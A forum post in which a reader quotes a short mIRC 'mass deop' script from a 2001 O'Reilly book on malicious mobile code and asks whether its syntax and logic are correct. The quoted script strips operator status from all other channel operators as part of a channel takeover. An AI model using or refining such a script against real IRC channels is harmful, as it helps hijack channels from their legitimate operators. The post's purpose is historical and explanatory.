Hello everyone.
I last used mIRC in 1999. I'm reading a book that has taken me on a trip down memory lane: "Malicious Mobile Code: Virus Protection for Windows" O'Reilly (2001). Nowadays, i.e. 25 years later, some concepts explained in the book sounds funny, but let's cut to the chase. From page 243 (I'm copy-pasting):
Mass deop attack
Once a hacker has taken control of a channel, he has to make sure he is the only operator. So, he has to have a script tool that will automatically "deop" any remaining operators, while making sure not to deop his own account. The script shown in Example 7-3 automates that process.
Example 7-3. Example deop attack malicious script
Alias:
madeop {
%deopv = 0
%deopn = ""
:xnext
inc %deopv 1
if ($opnick(%deopv,$$1) == $me) { goto xnext }
if ($opnick(%deopv,$$1) == $null)
{
if ($len(%deopn) > 0) { mode # -oooo %deopn } goto xdone
}
%deopn = %deopn $opnick(%deopv,$$1)
if (4 // %deopv) { mode # -oooo %deopn | %deopn = "" }
goto xnext
:xdone
}
To use it, the hacker would have to have operator status and then type /madeop {channel}.Please note this is exactly what the book says; I didn't change anything.
I'm not familiar with mIRC's scripting language. Also, I'm on a Mac, so I can't run the script on mIRC.
That being said, is that script correct?
I see 4 // %deopv , but shouldn't it be %deopv // 4 ?
And why is he deopping four users at a time? Wouldn't three be a better choice?
Also, I suppose $opnick(%deopv,$$1) is the %deopv-nth op's name, but why not write $opnick(%deopv,#) or $opnick(#,%deopv) ?